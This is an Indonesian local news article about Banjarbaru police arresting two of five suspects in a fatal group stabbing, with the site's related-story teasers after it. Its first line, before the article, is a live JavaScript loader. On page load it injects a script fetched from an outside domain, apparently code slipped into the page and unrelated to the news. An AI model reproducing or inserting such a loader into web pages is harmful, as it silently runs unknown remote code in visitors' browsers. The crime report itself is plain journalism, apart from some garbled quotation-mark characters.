(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Unit Gabungan Polres Banjarbaru dan Polsek Banjarbaru Kota berhasil menguak misteri pembunuhan terhadap Basri di kawasan Minggu Raya pada hari Rabu (11/7) pukul 03.00 Wita.
Dalam kasus ini, polisi berhasil mengamankan 2 pelaku dari 5 yang diduga melakukan penganiayan berujung tewasnya Basri -di TKP samping kantor Disdukcapil Banjarbaru-.
Saat jumpa pers di lobi Polres Banjarbaru, Kamis (12/7) siang, Kapolres Banjarbaru AKBP Kelana Jaya menyebutkan pada kejadian tersebut ada 5 orang yang ditetapkan sebagai tersangka dengan inisial SW, AL, AS, D dan AN.
“Tersangka ada sebanyak 5 orang, 2 orang diantaranya sudah kami amankan yaitu D dan AS,†sebut Kapolres Banjarbaru.
Dijelaskan Kapolres, kronologi saat itu, korban sedang berkumpul dan berbicang-bincang dengan para tersangka pada pukul 02.30 Wita, beberapa menit sebelum terjadi aksi pengeroyokan dan pembunuhan tersebut, mereka minum-minuman beralkohol.
“Saat itu korban bersama para tersangka berbincang-bincang sambil minum gaduk bercampur extra jos, tidak lama terjadi cekcok antara AS dengan korban,†ungkap Kapolres.
Pada saat cekcok tersebut, AS dan AN melakukan aksi pengeroyokan terhadap korban. Korban yang mencoba lari menjauh dari warung, tetap dikejar oleh kedua tersangka tersebut, hingga akhirnya dilancarkan aksi pengeroyokan selanjutnya.
Tidak sampai di situ saja, kemudian datang tersangka D yang memiting dengan tangan kanan ke leher korban dan saat itu juga SW langsung menganiaya korban dengan cara menusukan pisau ke bagian perut korban sebanyak lima kali.
Mendapatkan tusukan berkali-kali, korban langsung tersungkur jatuh ke aspal yang kemudian korban tidak bergerak lagi dan langsung ditinggalkan oleh para tersangka. Korban tewas dengan kondisi bersimbah darah.
Dari hasil olah TKP, pihak kepolisian melalukan penyelidikan dan pengejaran terhadap pelaku dan akhirnya meringkus tersangka D dan AS di dua lokasi berbeda.
“Kami berhasil mengamankan AS di warung sekitar TKP dan D di RS Syamsudin Noor dengan kondisi luka di lengan,†ujar Kelana Jaya.
Saat ditanya awak media, AS megatakan, tidak mengetahui apa sebenarnya yang membuat terjadinya cekcok adu mulut terhadap korban. Bahkan saat penangkapan dirinya masih dalam pengaruh minuman keras, sehingga diringkus oleh petugas di sekitar lokasi kejadian.
“Saya masih dalam pengaruh minuman, saya gak tau yang menyebabkan terjadinya cekcok,†aku AS.
Hingga saat ini pihak kepolisian masih melakukan pengembangan dan pengejaran terhadap otak utama penganiyaan yang membawa senjata tajam dan tersangka lainnya.
AKBP Kelana Jaya menambahkan kedua tersangka ini akan dikenakan pasal 170 ayat 3 KUHP pidana pengeroyokan.
“Pelaku lainya masih dalam proses pengejaran di sekitar kota Banjarbaru. Sedangkan untuk dua tersangka ini kita kenakan pasal pasal 170 ayat 3 KUHP Pidana Pengeroyokan dengan ancaman maksimal 12 tahun penjara,â€Â pungkas Kelana Jaya. (rico)
KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More
KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru memfasilitasi masyarakat nonton bareng memberikan dukungan kepada Tim Nasional… Read More
KANALKALIMANTAN.COM, RANTAU - Dinas Koperasi UKM Perindustrian dan Perdagangan (Diskoperindag) Kabupaten Hulu Sungai Utara (HSU)… Read More
This website uses cookies.